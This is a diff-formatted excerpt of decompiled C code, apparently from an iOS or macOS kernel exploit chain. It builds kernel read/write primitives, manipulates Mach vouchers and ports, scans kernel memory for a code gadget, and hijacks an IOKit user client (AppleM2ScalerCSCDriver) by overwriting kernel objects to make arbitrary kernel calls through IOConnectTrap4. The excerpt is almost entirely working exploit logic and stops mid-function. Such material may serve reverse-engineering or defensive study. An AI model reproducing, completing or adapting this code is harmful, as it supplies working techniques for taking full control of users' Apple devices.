+LABEL_16: + v17 = (char *)v32 + 4 * v15; + do + { + if ( a4 ) + v18 = *(_DWORD *)(a4 + 4 * v15); + else + v18 = v15; + v19 = sub_1BDEC(v18); + if ( v19 > 7 ) + return v11; + v20 = mach_vm_read_overwrite(a2, v16 + 4LL * (v19 + 6), 4u, (mach_vm_address_t)v17, &outsize); + if ( v20 ) + return v20 | 0x80000000; + if ( (unsigned int)(*((_DWORD *)v32 + v15) + 1) <= 1 && (unsigned int)(*((_DWORD *)v33 + v15) + 1) >= 2 ) + { + v29 = 1; + if ( (unsigned int)v5 - 1LL != v15++ ) + goto LABEL_16; + goto LABEL_32; + } + ++v15; + v17 += 4; + } + while ( (unsigned int)v5 != v15 ); + if ( (v29 & 1) == 0 ) + return 0; +LABEL_32: + v22 = (mach_port_t *)v33; + v23 = v32; + do + { + LODWORD(outsize) = 0; + v24 = *v22; + if ( *v22 + 1 >= 2 ) + { + inserted = mach_port_allocate(a2, 1u, (mach_port_name_t *)&outsize); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_mod_refs(a2, outsize, 1u, -1); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_insert_right(a2, outsize, v24, 0x13u); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_mod_refs(a2, outsize, 0, 0xFFFF); + if ( inserted ) + return inserted | 0x80000000; + *v23 = outsize; + } + ++v22; + ++v23; + --v12; + } + while ( v12 ); + v25 = v32; + if ( (unsigned int)v5 <= 1 ) + v5 = 1; + else + v5 = (unsigned int)v5; + while ( 1 ) + { + v26 = a4 ? *(_DWORD *)(a4 + 4 * v12) : v12; + v27 = sub_1BDEC(v26); + if ( v27 > 7 ) + break; + inserted = mach_vm_write(a2, v16 + 4LL * (v27 + 6), (vm_offset_t)v25, 4u); + if ( inserted ) + return inserted | 0x80000000; + v6 = 0; + ++v12; + v25 = (_QWORD *)((char *)v25 + 4); + if ( v5 == v12 ) + return v6; + } + return 163857; +} + +//----- (000000000001CD34) ---------------------------------------------------- +__int64 __fastcall sub_1CD34(struct_krwCtx *a1, unsigned int a2, vm_size_t size, vm_offset_t offset, vm_address_t *a5) +{ + _BOOL4 v10; // w25 + vm_offset_t v11; // x2 + kern_return_t memory_entry; // w0 + __int64 v13; // x22 + kern_return_t v14; // w0 + bool v15; // zf + vm_size_t sizea; // [xsp+18h] [xbp-58h] BYREF + mem_entry_name_port_t object_handle; // [xsp+24h] [xbp-4Ch] BYREF + vm_address_t address; // [xsp+28h] [xbp-48h] BYREF + + address = offset; + object_handle = 0; + sizea = size; + v10 = offset == 0; + v11 = offset; + if ( !offset ) + { + v14 = vm_allocate(mach_task_self_, &address, size, 1); + if ( v14 ) + { + v10 = 0; + v13 = v14 | 0x80000000; + goto LABEL_19; + } + v11 = address; + } + memory_entry = mach_make_memory_entry(mach_task_self_, &sizea, v11, 3, &object_handle, 0); + if ( memory_entry ) + { +LABEL_3: + v13 = memory_entry | 0x80000000; + goto LABEL_12; + } + if ( sizea == size ) + { + v13 = sub_1C8B0(a1, a2, object_handle); + if ( (_DWORD)v13 || offset ) + goto LABEL_12; + memory_entry = vm_map(mach_task_self_, a5, size, 0, 1, object_handle, 0, 0, 3, 3, 2u); + if ( !memory_entry ) + { + bzero((void *)*a5, size); + v13 = 0; + goto LABEL_19; + } + goto LABEL_3; + } + v13 = 708642; +LABEL_12: + if ( (_DWORD)v13 ) + v15 = offset == 0; + else + v15 = 0; + if ( v15 && *a5 ) + vm_deallocate(mach_task_self_, *a5, size); +LABEL_19: + if ( object_handle + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle); + if ( v10 ) + vm_deallocate(mach_task_self_, address, size); + return v13; +} + +//----- (000000000001CEC4) ---------------------------------------------------- +__int64 __fastcall sub_1CEC4(__int64 a1) +{ + __int64 result; // x0 + vm_size_t v3; // x9 + vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF + + v4 = 0; + result = sub_1CD34((struct_krwCtx *)a1, 0x10u, vm_page_size, 0, &v4); + if ( !(_DWORD)result ) + { + v3 = vm_page_size; + *(_QWORD *)(a1 + 280) = v4; + *(_QWORD *)(a1 + 288) = v3; + } + return result; +} + +//----- (000000000001CF1C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1CF1C(struct_krwCtx *a1) +{ + __int64 v2; // x20 + unsigned __int64 result; // x0 + uint32_t v4; // w8 + uint32_t v5; // w8 + __int64 v6; // x9 + __int64 v7; // x10 + unsigned __int64 v8; // x22 + __int64 v9; // x24 + int v10; // w8 + unsigned __int64 v11; // x8 + unsigned __int64 v12; // x1 + unsigned __int64 v13; // x2 + __int64 v14; // [xsp+8h] [xbp-88h] BYREF + mach_port_name_t name; // [xsp+10h] [xbp-80h] BYREF + int v16; // [xsp+14h] [xbp-7Ch] BYREF + _DWORD v17[4]; // [xsp+18h] [xbp-78h] + ipc_voucher_t v18[4]; // [xsp+28h] [xbp-68h] BYREF + + v2 = 0x1122334455667788LL; + result = voucher_create_mach_voucher((__int64)a1, 0x1122334455667788LL, v18); + if ( (_DWORD)result ) + { + result = task_self_get_ipc_port(a1, v18[0]); + if ( result ) + { + result = kread32_outptr((__int64)a1, result, &v16); + if ( (_DWORD)result ) + { + if ( (v16 & 0x3FF) == 0x22 ) + { + return 1; + } + else + { + result = 0; + v4 = a1->gap1911[1]; + v17[0] = a1->gap1911[0]; + v17[1] = v4; + if ( v17[0] != -1 && v4 != -1 ) + { + v5 = a1->gap1915; + if ( v5 != -1 && a1->gap190u ) + { + v6 = 3; + v7 = 2; +LABEL_13: + v8 = 0; + v17[v7] = v5; + v9 = 4 * v6; + while ( 1 ) + { + name = 0; + if ( voucher_create_mach_voucher((__int64)a1, v2, &v18[v8 / 4]) + && !(unsigned int)j__fileport_makeport(v17[v8 / 4], &name) ) + { + if ( !v8 && !(unsigned int)sub_356C8(a1, name, &v14) ) + { + v10 = a1->xnuMajorVersion; + if ( (unsigned int)(v10 - 8019) >= 2 && v10 != 8792 && v10 != 7195 ) + return 0; + sub_288A4((__int64)a1, v14 + 280, a1->gap19210); + v11 = a1->someLargeNumber; + if ( v11 >= 0x1C1B0A80100000LL && ((a1->flags & 0x5584001) != 0 || v11 >= 0x1F530000000000LL) ) + { + v13 = a1->gap190u & 0xFFFFFFFFFFLL + | ((unsigned __int64)(unsigned int)(a1->slideMaybe / (unsigned int)a1->pageSizeOrSomething) << 40); + v12 = v14 + a1->int168 + 280; + } + else + { + v12 = v14 + a1->int168 + 280; + v13 = a1->slideMaybe; + } + sub_288A4((__int64)a1, v12, v13); + } + sub_1C720(a1, &v18[v8 / 4], name); + mach_port_deallocate(mach_task_self_, name); + } + v8 += 4LL; + ++v2; + if ( v9 == v8 ) + return 1; + } + } + if ( a1->gap1913 != -1 ) + { + v5 = a1->gap1914; + if ( v5 != -1 ) + { + v17[2] = a1->gap1913; + v6 = 4; + v7 = 3; + goto LABEL_13; + } + } + return 0; + } + } + } + } + } + return result; +} + +//----- (000000000001D1B0) ---------------------------------------------------- +__int64 __fastcall sub_1D1B0(__int64 a1) +{ + vm_size_t v2; // x20 + __int64 result; // x0 + unsigned int v4; // w1 + ipc_voucher_t v5; // w8 + kern_return_t memory_entry; // w8 + kern_return_t v7; // w8 + vm_address_t v8; // x1 + __int64 v9; // x20 + unsigned int *v10; // x21 + unsigned int *v11; // x22 + unsigned int v12; // w23 + ipc_voucher_t v13; // [xsp+10h] [xbp-90h] BYREF + mem_entry_name_port_t object_handle; // [xsp+14h] [xbp-8Ch] BYREF + vm_address_t address; // [xsp+18h] [xbp-88h] BYREF + vm_size_t size; // [xsp+20h] [xbp-80h] BYREF + int v17; // [xsp+2Ch] [xbp-74h] BYREF + unsigned int v18; // [xsp+30h] [xbp-70h] BYREF + ipc_voucher_t v19[3]; // [xsp+3Ch] [xbp-64h] BYREF + + v2 = vm_page_size; + address = 0; + size = vm_page_size; + if ( *(_QWORD *)(a1 + 344) <= 0x1F543C407FFFFFuLL ) + { + v19[0] = 0; + result = voucher_create_mach_voucher(a1, 0x3122334455667788LL, v19); + if ( !(_DWORD)result ) + return result; + v4 = v19[0]; + } + else + { + result = sub_1BD80(a1, 0); + if ( !result ) + return result; + v4 = *(_DWORD *)result; + } + v18 = v4; + if ( *(_QWORD *)(a1 + 344) <= 0x1F543C407FFFFFuLL ) + { + result = task_self_get_ipc_port((struct_krwCtx *)a1, v4); + if ( !result ) + return result; + result = kread32_outptr(a1, result, &v17); + if ( !(_DWORD)result ) + return result; + if ( (v17 & 0x3FF) == 0x1C ) + return 1; + } + else if ( v4 + 1 > 1 ) + { + return 1; + } + v5 = *(_DWORD *)(a1 + 232); + if ( v5 + 1 < 2 ) + return 0; + if ( !*(_QWORD *)(a1 + 248) ) + return 0; + if ( !*(_QWORD *)(a1 + 256) ) + return 0; + if ( (unsigned int)(*(_DWORD *)(a1 + 276) + 1) < 2 ) + return 0; + v19[0] = *(_DWORD *)(a1 + 276); + v19[1] = v5; + if ( !*(_QWORD *)(a1 + 6608) || !*(_QWORD *)(a1 + 240) ) + return 0; + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0); + result = 0; + if ( !memory_entry ) + { + v19[2] = object_handle; + v7 = vm_map(mach_task_self_, &address, v2, 0, 1, object_handle, 0, 0, 3, 3, 2u); + result = 0; + if ( !v7 ) + { + bzero((void *)address, v2); + v8 = address; + *(_QWORD *)address = *(_QWORD *)(a1 + 6608); + *(_QWORD *)(v8 + 8) = *(_QWORD *)(a1 + 240); + *(_DWORD *)(v8 + 16) = *(_QWORD *)(a1 + 264); + *(_DWORD *)(v8 + 20) = *(_DWORD *)(a1 + 272); + result = vm_deallocate(mach_task_self_, v8, v2); + v9 = 0; + v10 = &v18; + do + { + if ( *(_QWORD *)(a1 + 344) <= 0x1F543C407FFFFFuLL ) + { + v13 = 0; + result = voucher_create_mach_voucher(a1, v9 + 0x3122334455667788LL, &v13); + if ( !(_DWORD)result ) + return result; + *v10 = v13; + result = sub_1C720((struct_krwCtx *)a1, v10, v19[v9]); + if ( !(_DWORD)result ) + return result; + } + else + { + result = sub_1BD80(result, v9); + if ( !result ) + return result; + v11 = (unsigned int *)result; + v12 = v19[v9]; + result = task_self_get_ipc_port((struct_krwCtx *)a1, v12); + if ( !result ) + return result; + if ( (unsigned int)sub_35E8C(a1, result) || mach_port_mod_refs(mach_task_self_, v12, 0, 0xFFFF) ) + return 0; + *v11 = v12; + } + ++v9; + ++v10; + result = 1; + } + while ( v9 != 3 ); + } + } + return result; +} + +//----- (000000000001D4A0) ---------------------------------------------------- +unsigned int *__fastcall sub_1D4A0(__int64 a1) +{ + vm_size_t v1; // x20 + unsigned int *result; // x0 + int v4; // w8 + kern_return_t memory_entry; // w8 + kern_return_t v6; // w8 + _QWORD *v7; // x1 + __int64 v8; // x0 + __int64 v9; // x21 + char v10; // w8 + char v11; // w24 + unsigned int *v12; // x20 + unsigned int v13; // w21 + mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-54h] BYREF + vm_address_t address; // [xsp+10h] [xbp-50h] BYREF + vm_size_t size; // [xsp+18h] [xbp-48h] BYREF + _DWORD v17[2]; // [xsp+20h] [xbp-40h] + + v1 = vm_page_size; + address = 0; + size = vm_page_size; + if ( *(_QWORD *)(a1 + 344) < 0x1F543C40800000uLL ) + return 0; + result = (unsigned int *)sub_1BD80(a1, 0); + if ( !result ) + return result; + if ( *result + 1 > 1 ) + return (unsigned int *)(&def_3E8F0 + 1); + if ( (unsigned int)(*(_DWORD *)(a1 + 172) + 1) < 2 + || !*(_QWORD *)(a1 + 216) + || (unsigned int)(*(_DWORD *)(a1 + 88) + 1) < 2 ) + { + return 0; + } + v17[0] = *(_DWORD *)(a1 + 88); + v4 = sub_27504(a1, 0); + result = 0; + if ( v4 ) + return result; + if ( !*(_QWORD *)(a1 + 6608) + || !*(_QWORD *)(a1 + 128) + || !*(_DWORD *)(a1 + 136) + || !*(_QWORD *)(a1 + 160) + || !*(_DWORD *)(a1 + 168) ) + { + return 0; + } + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0); + result = 0; + if ( !memory_entry ) + { + v17[1] = object_handle; + v6 = vm_map(mach_task_self_, &address, v1, 0, 1, object_handle, 0, 0, 3, 3, 2u); + result = 0; + if ( !v6 ) + { + bzero((void *)address, v1); + v7 = (_QWORD *)address; + *(_QWORD *)address = *(_QWORD *)(a1 + 6608); + v7[4] = *(_QWORD *)(a1 + 6296); + v7[5] = *(unsigned int *)(a1 + 6304); + v7[6] = *(_QWORD *)(a1 + 128); + v7[7] = *(unsigned int *)(a1 + 136); + v7[8] = *(_QWORD *)(a1 + 160); + v7[9] = *(unsigned int *)(a1 + 168); + v8 = vm_deallocate(mach_task_self_, (vm_address_t)v7, v1); + v9 = 0; + v10 = 1; + while ( 1 ) + { + v11 = v10; + result = (unsigned int *)sub_1BD80(v8, v9); + if ( !result ) + break; + v12 = result; + v13 = v17[v9]; + result = (unsigned int *)task_self_get_ipc_port((struct_krwCtx *)a1, v13); + if ( !result ) + break; + if ( (unsigned int)sub_35E8C(a1, (__int64)result) ) + return 0; + v8 = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF); + if ( (_DWORD)v8 ) + return 0; + v10 = 0; + *v12 = v13; + v9 = 1; + if ( (v11 & 1) == 0 ) + return (unsigned int *)((unsigned int)sub_281F0((struct_krwCtx *)a1) == 0); + } + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000001D70C) ---------------------------------------------------- +__int64 __fastcall sub_1D70C(__int64 a1, _DWORD *a2) +{ + vm_size_t v2; // x20 + __int64 v5; // x0 + __int64 v7; // x23 + char v8; // w8 + int v9; // w21 + char v10; // w26 + mach_port_name_t *v11; // x0 + mach_port_name_t v12; // w1 + __int64 v13; // x8 + char v14; // w9 + char v15; // w23 + mach_port_name_t v16; // w1 + bool v17; // zf + __int64 v18; // x23 + __int64 v19; // x23 + vm_address_t v20; // x8 + __int64 v21; // x9 + __int64 v22; // x9 + int v23; // w10 + __int64 v24; // x11 + int v25; // w8 + int v26; // [xsp+Ch] [xbp-54h] BYREF + vm_address_t address; // [xsp+10h] [xbp-50h] BYREF + mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-48h] + + address = 0; + *(_QWORD *)object = 0; + v2 = vm_page_size; + v26 = -1; + if ( *(_QWORD *)(a1 + 344) < 0x1F543C40800000uLL ) + return 0; + v5 = fd_open_dev_null(&v26); + if ( (_DWORD)v5 ) + return 0; + v7 = 0; + v8 = 1; + v9 = 163878; + while ( 1 ) + { + v10 = v8; + v11 = (mach_port_name_t *)sub_1BD80(v5, v7); + if ( !v11 ) + break; + v12 = *v11; + object[v7] = *v11; + if ( v12 + 1 < 2 ) + break; + v5 = mach_port_mod_refs(mach_task_self_, v12, 0, 1); + if ( (_DWORD)v5 ) + break; + v8 = 0; + v7 = 1; + if ( (v10 & 1) == 0 ) + { + if ( !vm_map(mach_task_self_, &address, v2, 0, 1, object[1], 0, 0, 3, 3, 2u) ) + { + v18 = *(_QWORD *)address; + if ( validate_addr(a1, *(_QWORD *)address) ) + { + *(_QWORD *)(a1 + 6608) = v18; + v19 = *(_QWORD *)(address + 32); + if ( validate_addr(a1, v19) ) + { + *(_QWORD *)(a1 + 6296) = v19; + v20 = address; + v21 = *(_QWORD *)(address + 40); + if ( (unsigned __int64)(v21 - 1) <= 0x1F ) + { + *(_DWORD *)(a1 + 6304) = v21; + *(_DWORD *)(a1 + 88) = object[0]; + v22 = *(_QWORD *)(v20 + 48); + if ( v22 ) + { + if ( (v22 & 7) == 0 ) + { + v23 = *(_DWORD *)(v20 + 56); + if ( v23 ) + { + v24 = *(_QWORD *)(v20 + 64); + if ( v24 ) + { + if ( (v24 & 7) == 0 ) + { + v25 = *(_DWORD *)(v20 + 72); + if ( v25 ) + { + *(_QWORD *)(a1 + 128) = v22; + *(_DWORD *)(a1 + 136) = v23; + *(_QWORD *)(a1 + 160) = v24; + *(_DWORD *)(a1 + 168) = v25; + v9 = sub_27808(a1, 1); + if ( !v9 ) + { + fd_close(v26); + v26 = -1; + v9 = sub_288D4((struct_krwCtx *)a1); + } + } + } + } + } + } + } + } + } + } + } + break; + } + } + if ( v26 != -1 ) + fd_close(v26); + if ( v9 ) + { + v13 = 0; + v14 = 1; + do + { + v15 = v14; + v16 = object[v13]; + if ( v16 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v16); + v14 = 0; + v13 = 1; + } + while ( (v15 & 1) != 0 ); + } + if ( address ) + v17 = v2 == 0; + else + v17 = 1; + if ( !v17 ) + vm_deallocate(mach_task_self_, address, v2); + *a2 = v9 == 0; + return 1; +} + +//----- (000000000001D970) ---------------------------------------------------- +mach_vm_address_t sub_1D970() +{ + __int64 v0; // x0 + _QWORD *v1; // x6 + _QWORD *v2; // x21 + uintptr_t v3; // x5 + uintptr_t v4; // x22 + uintptr_t v5; // x4 + uintptr_t v6; // x23 + uintptr_t v7; // x3 + uintptr_t v8; // x24 + __int64 v9; // x2 + __int64 v10; // x25 + __int64 v11; // x1 + __int64 v12; // x26 + __int64 v13; // x19 + unsigned int v14; // w8 + unsigned int v15; // w10 + unsigned int v16; // w8 + __int64 v17; // x0 + const CFDictionaryRef *v18; // x0 + io_service_t MatchingService; // w0 + io_object_t v20; // w20 + unsigned int v21; // w27 + mach_vm_address_t v22; // x28 + unsigned __int64 v23; // x0 + __int64 v24; // x8 + unsigned int v25; // w22 + __int64 address; // [xsp+18h] [xbp-1098h] + unsigned int size[3]; // [xsp+24h] [xbp-108Ch] BYREF + __int128 v29; // [xsp+30h] [xbp-1080h] + __int64 v30; // [xsp+40h] [xbp-1070h] + io_connect_t connect; // [xsp+4Ch] [xbp-1064h] BYREF + __int128 v32; // [xsp+50h] [xbp-1060h] BYREF + __int64 v33; // [xsp+60h] [xbp-1050h] + + v0 = ((__int64 (*)(void))__chkstk_darwin)(); + v2 = v1; + v4 = v3; + v6 = v5; + v8 = v7; + v10 = v9; + v12 = v11; + v13 = v0; + connect = 0; + *(_QWORD *)&size[1] = 0; + v14 = *(_DWORD *)(v0 + 384); + v15 = 0x1000 % v14; + v16 = v14 - 0x1000 % v14 + 4096; + if ( !v15 ) + v16 = 4096; + size[0] = v16; + if ( !*(_QWORD *)(v0 + 512) ) + { + sub_19D10(*(_QWORD *)(v0 + 6648), &v32); + v29 = v32; + v30 = v33; + v17 = kernel_pattern_scan((__int64)&v32, "00 00 01 91 C0 03 5F D6", 0); + if ( !v17 ) + return 0; + *(_QWORD *)(v13 + 512) = v17; + } + v18 = IOServiceMatching("AppleM2ScalerCSCDriver"); + MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v18); + v20 = MatchingService; + v21 = MatchingService + 1; + if ( MatchingService + 1 < 2 ) + goto LABEL_21; + v22 = 0; + if ( IOServiceOpen(MatchingService, mach_task_self_, 0, &connect) ) + goto LABEL_22; + if ( connect + 1 < 2 ) + { +LABEL_21: + v22 = 0; + goto LABEL_22; + } + v22 = port_name_to_kaddr((struct_krwCtx *)v13, connect); + if ( v22 ) + { + if ( kread64_outptr((struct_krwCtx *)v13, v22, (unsigned __int64 *)&size[1]) ) + { + if ( validate_addr(v13, *(__int64 *)&size[1]) ) + { + v23 = sub_37210(v13, size); + if ( v23 ) + { + address = v23; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v13, *(__int64 *)&size[1], 4096, &v32) + || !(unsigned int)kwritebuf_last_1(v13, address, (__int64)&v32, 4096) ) + { + goto LABEL_28; + } + v24 = 1464; + if ( *(int *)(v13 + 320) > 6152 ) + v24 = 1472; + if ( kwrite64(v13, v24 + address, *(_QWORD *)(v13 + 512)) ) + { + kwrite64(v13, v22, address); + kwrite64(v13, v22 + 64, 8); + kwrite64(v13, v22 + 72, v12); + kwrite64(v13, v22 + 80, 2 * v10 - 16); + v25 = IOConnectTrap4(connect, 0, v8, v6, v4, 0); + kwrite64(v13, v22 + 64, 0); + kwrite64(v13, v22 + 72, 0); + kwrite64(v13, v22 + 80, 0); + kwrite64(v13, v22, *(__int64 *)&size[1]); + if ( v2 ) + *v2 = v25; + v22 = 1; + } + else + { +LABEL_28: + v22 = 0; + } + sub_36E4C(v13, address, size[0]); + goto LABEL_22; + } + } + } + goto LABEL_21; + } +LABEL_22: + if ( connect + 1 >= 2 ) + IOServiceClose(connect); + if ( v21 >= 2 ) + IOObjectRelease(v20); + return v22; +} +// 1D9A8: variable 'v1' is possibly undefined +// 1D9AC: variable 'v3' is possibly undefined +// 1D9B0: variable 'v5' is possibly undefined +// 1D9B4: variable 'v7' is possibly undefined +// 1D9B8: variable 'v9' is possibly undefined +// 1D9BC: variable 'v11' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); +// 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); + +//----- (000000000001DCA8) ---------------------------------------------------- +__int64 __fastcall kernel_pattern_scan(__int64 a1, char *__s1, int a3) +{ + char *v5; // x0 + char *v6; // x24 + __int64 v7; // x22 + __int64 v8; // x23 + char *v9; // x19 + char *__stringp[2]; // [xsp+10h] [xbp-180h] BYREF + __int64 v12; // [xsp+20h] [xbp-170h] + char *__endptr; // [xsp+28h] [xbp-168h] BYREF + _WORD v14[128]; // [xsp+30h] [xbp-160h] BYREF + + __endptr = 0; + if ( !__s1 ) + return 0; + v5 = strdup(__s1); + if ( !v5 ) + return 0; + v6 = v5; + v7 = 0; + v8 = 0; + __stringp[0] = v5; + while ( 1 ) + { + v9 = strsep(__stringp, " "); + if ( strcmp(v9, "-") ) + break; + v8 = v7; +LABEL_14: + if ( !__stringp[0] ) + { + free(v6); + *(_OWORD *)__stringp = *(_OWORD *)a1; + v12 = *(_QWORD *)(a1 + 16); + return sub_1DE40((__int64 *)__stringp, (__int64)v14, v7, v8, a3); + } + } + if ( !strcmp(v9, "+") ) + { + v8 = v7 + 1; + goto LABEL_14; + } + if ( !strcmp(v9, "..") ) + { + v14[v7] = -1; + } + else + { + v14[v7] = (unsigned __int8)strtol(v9, &__endptr, 16); + if ( *__endptr ) + goto LABEL_16; + } + if ( v7 <= 126 ) + { + ++v7; + goto LABEL_14; + } +LABEL_16: + free(v6); + return 0; +} + +//----- (000000000001DE40) ---------------------------------------------------- +__int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5) +{ + __int64 v5; // x22 + unsigned int v9; // w9 + __int64 v10; // x11 + int v11; // w10 + __int64 v12; // x12 + unsigned int v13; // w13 + __int64 v14; // x23 + __int64 v15; // x23 + __int64 v16; // t1 + __int64 v17; // x1 + unsigned __int64 v18; // x8 + __int64 result; // x0 + unsigned __int64 v20; // x9 + __int64 v21; // x25 + unsigned __int64 v22; // x26 + __int64 v23; // x27 + __int64 v24; // x28 + unsigned __int64 v25; // x22 + __int64 v26; // x8 + __int64 v27; // x8 + int v28; // w10 + __int64 v29; // x8 + __int64 v30; // [xsp+8h] [xbp-188h] + __int128 v31; // [xsp+10h] [xbp-180h] BYREF + __int64 v32; // [xsp+20h] [xbp-170h] + int8x16_t v33; // [xsp+30h] [xbp-160h] + int8x16_t v34; // [xsp+40h] [xbp-150h] + int8x16_t v35; // [xsp+50h] [xbp-140h] + int8x16_t v36; // [xsp+60h] [xbp-130h] + int8x16_t v37; // [xsp+70h] [xbp-120h] + int8x16_t v38; // [xsp+80h] [xbp-110h] + int8x16_t v39; // [xsp+90h] [xbp-100h] + int8x16_t v40; // [xsp+A0h] [xbp-F0h] + int8x16_t v41; // [xsp+B0h] [xbp-E0h] + int8x16_t v42; // [xsp+C0h] [xbp-D0h] + int8x16_t v43; // [xsp+D0h] [xbp-C0h] + int8x16_t v44; // [xsp+E0h] [xbp-B0h] + int8x16_t v45; // [xsp+F0h] [xbp-A0h] + int8x16_t v46; // [xsp+100h] [xbp-90h] + int8x16_t v47; // [xsp+110h] [xbp-80h] + int8x16_t v48; // [xsp+120h] [xbp-70h] + + v5 = a3; + if ( a3 != (char)a3 || !a1[2] || !a1[1] ) + return 0; + v9 = a3 - 1; + if ( (int)a3 >= 1 ) + { + v10 = (unsigned int)a3 + 1LL; + while ( *(__int16 *)(a2 + 2LL * v9) == -1 ) + { + --v5; + --v10; + --v9; + if ( v10 <= 1 ) + { + v5 = ((unsigned int)-(int)a3 | 0xFFFFFFFF00000000LL) + a3; + break; + } + } + } + v47 = vdupq_n_s8((char)a3); + v48 = v47; + v45 = v47; + v46 = v47; + v43 = v47; + v44 = v47; + v41 = v47; + v42 = v47; + v39 = v47; + v40 = v47; + v37 = v47; + v38 = v47; + v35 = v47; + v36 = v47; + v33 = v47; + v34 = v47; + if ( (char)a3 > 1 ) + { + v11 = 0; + do + { + v12 = *(__int16 *)(a2 + 2LL * (char)v11); + v13 = ~v11 + (char)a3; + if ( v12 == -1 ) + { + v47 = vdupq_n_s8(v13); + v48 = v47; + v45 = v47; + v46 = v47; + v43 = v47; + v44 = v47; + v41 = v47; + v42 = v47; + v39 = v47; + v40 = v47; + v37 = v47; + v38 = v47; + v35 = v47; + v36 = v47; + v33 = v47; + v34 = v47; + } + else + { + v33.i8[v12] = v13; + } + ++v11; + } + while ( (char)a3 - 1 > (char)v11 ); + } + v14 = a2 + 2 * v5; + v16 = *(__int16 *)(v14 - 2); + v15 = v14 - 2; + v30 = v33.i8[v16]; + v33.i8[v16] = 0; + v31 = *(_OWORD *)a1; + v32 = a1[2]; + v18 = sub_197A8((__int64 **)&v31); + result = 0; + if ( v18 && v17 ) + { + v20 = 0; + v21 = v18 + v5 - 1; + v22 = v18 + v17; + v23 = -*(_DWORD *)(*a1 + 56); + v24 = 1 - v5; + v25 = v21; + while ( 1 ) + { + if ( ((v20 ^ v25) & v23) != 0 ) + { + sub_19AC4(*a1, v25, 1u, v22 - v25); + v20 = v25; + } + v26 = v33.u8[*(unsigned __int8 *)v25]; + v25 += v26; + if ( v25 >= v22 ) + return 0; + if ( !(_DWORD)v26 ) + { + if ( v24 > 0 ) + { +LABEL_27: + v29 = a1[1] + v25 - v21; + if ( !a5 || (v29 & (a5 - 1)) == 0 ) + { + if ( !v29 ) + return 0; + return v29 + a4; + } + } + else + { + v27 = 0; + while ( 1 ) + { + v28 = *(__int16 *)(v15 + 2 * v27); + if ( v28 != -1 && *(unsigned __int8 *)(v25 + v27) != v28 ) + break; + if ( v24 > --v27 ) + goto LABEL_27; + } + } + v25 += v30; + } + } + } + return result; +} +// 1DFA4: variable 'v17' is possibly undefined + +//----- (000000000001E0C8) ---------------------------------------------------- +__int64 __fastcall sub_1E0C8(__int128 *a1, char *__s, int a3, char a4) +{ + size_t v8; // x24 + _WORD *v9; // x0 + void *v10; // x21 + __int64 v11; // x10 + unsigned int v12; // w11 + __int16 v13; // w12 + __int64 v15; // x2 + __int64 v16; // x19 + __int128 v18; // [xsp+0h] [xbp-60h] BYREF + __int64 v19; // [xsp+10h] [xbp-50h] + + v8 = strlen(__s); + v9 = malloc(2 * (v8 + 2)); + if ( !v9 ) + return 0; + v10 = v9; + v9[v8 + 1] = 0; + *v9 = 0; + if ( v8 ) + { + v11 = 0; + v12 = 1; + do + { + v13 = (unsigned __int8)__s[v11]; + v11 = v12; + v9[v12] = v13; + } + while ( v8 > v12++ ); + } + if ( (a4 & 0x20) != 0 ) + v15 = v8 + 2; + else + v15 = v8 + 1; + v18 = *a1; + v19 = *((_QWORD *)a1 + 2); + v16 = sub_1DE40((__int64 *)&v18, (__int64)&v9[((unsigned __int8)(a4 & 0x20) >> 5) ^ 1], v15, (a4 & 0x20) != 0, a3); + free(v10); + return v16; +} + +//----- (000000000001E1B8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E1B8(__int64 *a1, __int64 a2, int a3) +{ + unsigned __int64 v5; // x1 + unsigned __int64 v6; // x21 + unsigned __int64 result; // x0 + unsigned __int64 v8; // x22 + unsigned __int64 v9; // x25 + unsigned __int64 v10; // x23 + unsigned __int64 v11; // x27 + char *v12; // x24 + __int128 v13; // [xsp+0h] [xbp-70h] BYREF + __int64 v14; // [xsp+10h] [xbp-60h] + __int64 __s2; // [xsp+18h] [xbp-58h] BYREF + + v13 = *(_OWORD *)a1; + v14 = a1[2]; + __s2 = a2; + v6 = sub_197A8((__int64 **)&v13); + result = 0; + if ( v6 ) + { + v8 = v5; + if ( v5 ) + { + v9 = v6 + v5; + v10 = *(unsigned __int8 *)(*a1 + 52); + if ( v6 + v10 > v6 + v5 ) + { + return 0; + } + else + { + v11 = v6; + v12 = (char *)v6; + while ( 1 ) + { + if ( !a3 || (v11 & (a3 - 1)) == 0 ) + { + sub_19AC4(*a1, (unsigned __int64)v12, v10, v8); + if ( !memcmp(v12, &__s2, v10) ) + break; + } + ++v12; + ++v11; + --v8; + if ( (unsigned __int64)&v12[v10] > v9 ) + return 0; + } + return a1[1] - v6 + v11; + } + } + } + return result; +} +// 1E20C: variable 'v5' is possibly undefined + +//----- (000000000001E2BC) ---------------------------------------------------- +char *__fastcall sub_1E2BC(__int64 *a1, _DWORD *a2, _DWORD *a3, unsigned __int64 a4) +{ + unsigned __int64 v8; // x1 + unsigned __int64 v9; // x23 + char *result; // x0 + unsigned __int64 v11; // x24 + _DWORD *v12; // x10 + __int64 v13; // x12 + __int128 v14; // [xsp+0h] [xbp-50h] BYREF + __int64 v15; // [xsp+10h] [xbp-40h] + + v14 = *(_OWORD *)a1; + v15 = a1[2]; + v9 = sub_197A8((__int64 **)&v14); + result = 0; + if ( v9 && v8 ) + { + v11 = v9 + v8; + sub_19AC4(*a1, v9, v8, v8); + if ( v9 < v11 ) + { + v12 = (_DWORD *)v9; + do + { + if ( (*a3 & *v12) == *a2 ) + { + if ( (unsigned 